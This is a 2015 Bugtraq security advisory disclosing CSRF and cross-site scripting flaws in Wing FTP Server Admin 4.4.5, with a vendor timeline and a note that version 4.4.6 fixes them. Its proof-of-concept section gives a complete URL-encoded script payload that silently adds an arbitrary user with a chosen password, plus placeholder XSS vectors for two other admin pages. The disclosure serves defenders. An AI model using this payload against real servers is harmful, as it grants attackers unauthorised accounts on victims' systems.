bugtraq - CSRF & XSS Wing FTP Server Admin <= v4.4.5

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Date: Tue, 28 Apr 2015 17:04:12 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: CSRF & XSS Wing FTP Server Admin <= v4.4.5

Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities


Release Date:
=============
2015-04-28


Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-WFTP0328.txt


Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9


Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports following protocols FTP, FTPS, HTTPS, SSH



Advisory Information:
==============================
CSRF & client-side cross site scripting web vulnerability within Wing FTP Server Admin that allows adding arbitrary users to the system.


Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification 
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new version 4.4.6
April 28, 2015: Public Disclosure - John Page



Affected Product(s):
====================
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================


Request Method(s):
                                [+] POST & GET


Vulnerable Product:
                                [+] Wing FTP Server Admin <= 4.4.5


Vulnerable Parameter(s):
                                [+] domain & type


Affected Area(s):
                                [+] Server Admin


Proof of Concept (POC):
=======================
The CSRF and client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction (click). Payload will add arbitrary users to the system.

PoC: Example

http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]

POC: Add arbitrary user:

http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
 ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E


POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=[XSS VECTOR]


POC XSS:
http://localhost:5466/admin_event_list.html?type=[XSS VECTOR]


Solution - Fix & Patch:
=======================
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)


Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9


Credits & Authors:
==================
John Page ( hyp3rlinx ) @apparitionsec


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. the security research reporter John Page disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. apparitionsec or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.

Domains:  hyp3rlinx.altervista.org